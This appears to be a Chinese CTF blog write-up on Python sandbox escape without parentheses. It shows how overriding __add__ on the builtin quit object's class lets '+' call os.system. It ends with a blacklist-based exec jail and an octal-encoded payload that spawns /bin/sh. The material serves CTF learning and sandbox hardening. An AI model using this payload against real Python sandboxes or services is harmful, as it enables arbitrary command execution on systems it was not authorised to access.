Python sandbox 逃逸是我入ctf 这个坑第一个接触的课题,当时这个考点有两种考法一个是ssti,另一个是python jail。但是随着探讨下来,Python sandbox 过滤掉(
与)
两个括号还能否执行函数?是否还能import os 执行 /bin/sh
这是个一直困扰我的问题。
前言 这个问题来源hack the box 一个flask 题目提到 一个奇怪的waf。这个waf 提到”(){}[]@” ,但是按照我们正常的思路,只要ban了{}
了,ssti这路就不行。但是为什么要提到()
? 于是我想到说不定python有方法做到,不用()
就可以做到执行函数方法(执行__call__
)。
object属性与内置函数 我们知道对象 (ob) 是 Python 中对数据的抽象。 Python 程序中的所有数据都是由对象或对象间关系来表示的。同时,我们也知道 “x+y” 两变量相加,过程其实是将+
转换调用type(x).__add__(x, y)
即调用x对象的父类的·__add__
方法。
1 2 3 4 5 6 >>> x=1 >>> y=2 >>> type(x).__add__(x,y) 3 >>> x+y 3
所以我们若讲x的父类的__add__
覆盖成我们想要的函数,那么就可以用+
来执行函数。
1 2 3 4 5 >>> type (x).__add__=print Traceback (most recent call last): File "<stdin>" , line 1, in <module> TypeError: can't set attributes of built-in/extension type ' int' # py 3.8.9 TypeError: cannot set ' __add__' attribute of immutable type ' int'# py 3.10.7
但是我们很快得到一个报错,显示我们无法修改 int class 的__add__
属性,但在不同版本中报错描述不同。(应该与3.10版本对python进行大规模改写优化有关)。其中在3.10报错中写到immutable type 'int'
,在3.8报错中更详细写的 built-in/extension type 'int'
.所以,可以怀疑因为int
是内置class(或builtins模块中class) 所以设置了保护属性 让 __add__
属性 无法被修改。
因此,我们可以尝试自己定义一个class来尝试。
1 2 3 4 5 6 7 class x : pass y=x() x.__add__=print >>> y+'1' >>> 1
可以看到我们自己定义的类 x 的 __add__
被修改为了print
,在运行y+'1'
时,成功执行了 print 方法.
可利用的内置函数 其实,经过查阅除了__add__
外,还有很多内置函数可以让我们利用。
计算类内置函数
名称
作用
触发示例
object.__add__(self, other)
加法
x+y
object.__sub__(self, other)
减法
x-y
object.__mul__(self, other)
乘法
x*y
object.__truediv__(self, other)
除法
x/y
object.__floordiv__(self, other)
整除
x//y
object.__mod__(self, other)
取余
x%y
object.__pow__(self, other[, modulo])
幂运算
x**y
object.__lshift__(self, other)
左移
x<<y
object.__rshift__(self, other)
右移
x>>y
object.__and__(self, other)
与
x&y
object.__xor__(self, other)
异或
x^y
object.__ior__(self, other)
或
x|y
比较内置函数
名称
作用
触发示例
__lt__
小于
x<y
__le__
小于等于
x<=y
__eq__
等于
x==y
__ne__
不等于
x!=y
__ge__
大于等于
x>=y
__gt__
等于
x>y
特殊内置函数
名称
作用
触发示例
__getitem__
我们用中括号对象中元素的查询
x[y]
__getattr__
获取对象的属性
x.y
__getattribute__
在__getattr__
未找到属性时调用
x.y
builtins中的内鬼 之前在对int.__add__
进行覆盖时,发现触发了报错。这报错让我们知道 Built-in 中的属于是 无法修改的。但是我写了个小工具,来遍历builtins
模块.
1 2 3 4 5 import osx=__builtins__.__dir__() for i in x: print(str(getattr(__builtins__,i).__class__)+' name:' +i)
出乎意料地得到一个有意思的结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 builtins name:__name__ Built-in functions, exceptions, and other objects. Noteworthy: None is the `nil ' object ; Ellipsis represents `...' in slices . name:__doc__ name:__package__ <class '_frozen_importlib.BuiltinImporter '> name:__loader__ ModuleSpec (name ='builtins ', loader =<class '_frozen_importlib.BuiltinImporter '>, origin ='built -in ') name:__spec__ <built -in function __build_class__ > name:__build_class__ <built -in function __import__ > name:__import__ <built -in function abs > name:abs <built -in function all > name:all <built -in function any > name:any <built -in function ascii > name:ascii <built -in function bin > name:bin <built -in function breakpoint > name:breakpoint <built -in function callable > name:callable <built -in function chr > name:chr <built -in function compile > name:compile <built -in function delattr > name:delattr <built -in function dir > name:dir <built -in function divmod > name:divmod <built -in function eval > name:eval <built -in function exec > name:exec <built -in function format > name:format <built -in function getattr > name:getattr <built -in function globals > name:globals <built -in function hasattr > name:hasattr <built -in function hash > name:hash <built -in function hex > name:hex <built -in function id > name:id <built -in function input > name:input <built -in function isinstance > name:isinstance <built -in function issubclass > name:issubclass <built -in function iter > name:iter <built -in function aiter > name:aiter <built -in function len > name:len <built -in function locals > name:locals <built -in function max > name:max <built -in function min > name:min <built -in function next > name:next <built -in function anext > name:anext <built -in function oct > name:oct <built -in function ord > name:ord <built -in function pow > name:pow <built -in function print > name:print <built -in function repr > name:repr <built -in function round > name:round <built -in function setattr > name:setattr <built -in function sorted > name:sorted <built -in function sum > name:sum <built -in function vars > name:vars None name:None Ellipsis name:Ellipsis NotImplemented name:NotImplemented False name:False True name:True <class 'bool '> name:bool <class 'memoryview '> name:memoryview <class 'bytearray '> name:bytearray <class 'bytes '> name:bytes <class 'classmethod '> name:classmethod <class 'complex '> name:complex <class 'dict '> name:dict <class 'enumerate '> name:enumerate <class 'filter '> name:filter <class 'float '> name:float <class 'frozenset '> name:frozenset <class 'property '> name:property <class 'int '> name:int <class 'list '> name:list <class 'map '> name:map <class 'object '> name:object <class 'range '> name:range <class 'reversed '> name:reversed <class 'set '> name:set <class 'slice '> name:slice <class 'staticmethod '> name:staticmethod <class 'str '> name:str <class 'super '> name:super <class 'tuple '> name:tuple <class 'type '> name:type <class 'zip '> name:zip True name:__debug__ <class 'BaseException '> name:BaseException <class 'Exception '> name:Exception <class 'TypeError '> name:TypeError <class 'StopAsyncIteration '> name:StopAsyncIteration <class 'StopIteration '> name:StopIteration <class 'GeneratorExit '> name:GeneratorExit <class 'SystemExit '> name:SystemExit <class 'KeyboardInterrupt '> name:KeyboardInterrupt <class 'ImportError '> name:ImportError <class 'ModuleNotFoundError '> name:ModuleNotFoundError <class 'OSError '> name:OSError <class 'OSError '> name:EnvironmentError <class 'OSError '> name:IOError <class 'EOFError '> name:EOFError <class 'RuntimeError '> name:RuntimeError <class 'RecursionError '> name:RecursionError <class 'NotImplementedError '> name:NotImplementedError <class 'NameError '> name:NameError <class 'UnboundLocalError '> name:UnboundLocalError <class 'AttributeError '> name:AttributeError <class 'SyntaxError '> name:SyntaxError <class 'IndentationError '> name:IndentationError <class 'TabError '> name:TabError <class 'LookupError '> name:LookupError <class 'IndexError '> name:IndexError <class 'KeyError '> name:KeyError <class 'ValueError '> name:ValueError <class 'UnicodeError '> name:UnicodeError <class 'UnicodeEncodeError '> name:UnicodeEncodeError <class 'UnicodeDecodeError '> name:UnicodeDecodeError <class 'UnicodeTranslateError '> name:UnicodeTranslateError <class 'AssertionError '> name:AssertionError <class 'ArithmeticError '> name:ArithmeticError <class 'FloatingPointError '> name:FloatingPointError <class 'OverflowError '> name:OverflowError <class 'ZeroDivisionError '> name:ZeroDivisionError <class 'SystemError '> name:SystemError <class 'ReferenceError '> name:ReferenceError <class 'MemoryError '> name:MemoryError <class 'BufferError '> name:BufferError <class 'Warning '> name:Warning <class 'UserWarning '> name:UserWarning <class 'EncodingWarning '> name:EncodingWarning <class 'DeprecationWarning '> name:DeprecationWarning <class 'PendingDeprecationWarning '> name:PendingDeprecationWarning <class 'SyntaxWarning '> name:SyntaxWarning <class 'RuntimeWarning '> name:RuntimeWarning <class 'FutureWarning '> name:FutureWarning <class 'ImportWarning '> name:ImportWarning <class 'UnicodeWarning '> name:UnicodeWarning <class 'BytesWarning '> name:BytesWarning <class 'ResourceWarning '> name:ResourceWarning <class 'ConnectionError '> name:ConnectionError <class 'BlockingIOError '> name:BlockingIOError <class 'BrokenPipeError '> name:BrokenPipeError <class 'ChildProcessError '> name:ChildProcessError <class 'ConnectionAbortedError '> name:ConnectionAbortedError <class 'ConnectionRefusedError '> name:ConnectionRefusedError <class 'ConnectionResetError '> name:ConnectionResetError <class 'FileExistsError '> name:FileExistsError <class 'FileNotFoundError '> name:FileNotFoundError <class 'IsADirectoryError '> name:IsADirectoryError <class 'NotADirectoryError '> name:NotADirectoryError <class 'InterruptedError '> name:InterruptedError <class 'PermissionError '> name:PermissionError <class 'ProcessLookupError '> name:ProcessLookupError <class 'TimeoutError '> name:TimeoutError <built -in function open > name:open Use quit () or Ctrl -D (i.e . EOF ) to exit name:quit Use exit () or Ctrl -D (i.e . EOF ) to exit name:exit Copyright (c ) 2001-2022 Python Software Foundation .All Rights Reserved .Copyright (c ) 2000 BeOpen.com .All Rights Reserved .Copyright (c ) 1995-2001 Corporation for National Research Initiatives .All Rights Reserved .Copyright (c ) 1991-1995 Stichting Mathematisch Centrum , Amsterdam .All Rights Reserved . name:copyright Thanks to CWI , CNRI , BeOpen.com , Zope Corporation and a cast of thousands for supporting Python development . See www.python.org for more information . name:credits Type license () to see the full license text name:license Type help () for interactive help , or help (object ) for help about object . name:help
quit() exit() licnese() help()
四个函数,并没有显现”< xxx ‘xxxx’ >” 而是像被调用执行后返回一个字符串。
内鬼_sitebuiltins 我以quit为突破口,深入研究下python 手册与python 源码。
在python 手册内置常量(https://docs.python.org/zh-cn/3/library/constants.html#built-in-consts)这一节发现一个有意思的描述:
由 site
模块添加的常量 site
模块(在启动期间自动导入,除非给出 -S
命令行选项)将几个常量添加到内置命名空间。 它们对交互式解释器 shell 很有用,并且不应在程序中使用。
quit 这些函数是用site模块添加的方法。
根据site模块,发现手册中提供了site模块的源码地址 Lib/site.py
在源码中发现了一个有意思的代码块:
1 2 3 4 5 6 7 8 9 10 11 12 13 def setquit () : """Define new builtins 'quit' and 'exit'. These are objects which make the interpreter exit when called. The repr of each object contains a hint at how it works. """ if os.sep == '\\' : eof = 'Ctrl-Z plus Return' else : eof = 'Ctrl-D (i.e. EOF)' builtins.quit = _sitebuiltins.Quitter('quit' , eof) builtins.exit = _sitebuiltins.Quitter('exit' , eof)
builtins.quit居然是``_sitebuiltins.Quitter 类的实例。继续根据_
sitebuiltins.Quitter`源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 class Quitter (object) : def __init__ (self, name, eof) : self.name = name self.eof = eof def __repr__ (self) : return 'Use %s() or %s to exit' % (self.name, self.eof) def __call__ (self, code=None) : try : sys.stdin.close() except : pass raise SystemExit(code)
Quitter定义没有任何保护,于是我们考虑篡改它的属性。虽然没有__add__
,但是我们强行加一个试试。
1 2 3 4 5 >>> import os >>> quit.__class__.__add__=os.system >>> quit+'/bin/sh' $ ls Desktop glibc-all-in-one Pictures Pwngdb Videos
好家伙,我们直接将__add__
,篡改为的os.system.
意外收获 在看Quitter定义源码时,发现一个有意思的地方:
1 2 def __repr__ (self) : return 'Use %s() or %s to exit' % (self.name, self.eof)
这和我们直接在python 交换行中输入quit 得到的东西很像。
查寻手册发现:
object.repr (self )¶
由 repr()
内置函数调用以输出一个对象的“官方”字符串表示。如果可能,这应类似一个有效的 Python 表达式,能被用来重建具有相同取值的对象(只要有适当的环境)。如果这不可能,则应返回形式如 <...some useful description...>
的字符串。返回值必须是一个字符串对象。如果一个类定义了 __repr__()
但未定义 __str__()
,则在需要该类的实例的“非正式”字符串表示时也会使用 __repr__()
。
此方法通常被用于调试,因此确保其表示的内容包含丰富信息且无歧义是很重要的。
原莱我们输入对象名返回的值,如<class 'xxx'>
、<built-in function xxxx>
是通过调用__repr__
方法即时返回的字符串。
那么我们只要修改类的__repr__
方法,在输入该类实例变量名是就可以调用我们的方法。但,美中不足的是传参数不好控制。
后记 在测试中写了一道,算是对那个不求甚解的自己 的 一种记录吧…..(有其他解的大佬,欢迎分享)
1 2 3 4 5 6 7 8 9 import string line = input('>>> ' ) blacklist = string.ascii_letters+"()%{}[]@ " for item in blacklist: if item in line.lower(): raise Exception() exec(line)
Payload:
1 quit.__class__.__add__=__import__;quit.__class__.__add__=quit+'\157\163' ;quit.__class__.__add__=quit.__class__.__add__.system;quit+'\57\142\151\156\57\163\150'
参考文献 https://docs.python.org/zh-cn/3/reference/datamodel.html?highlight=__add__#
https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes#command-execution-libraries
https://github.com/python/cpython/blob/3.11/Lib/site.py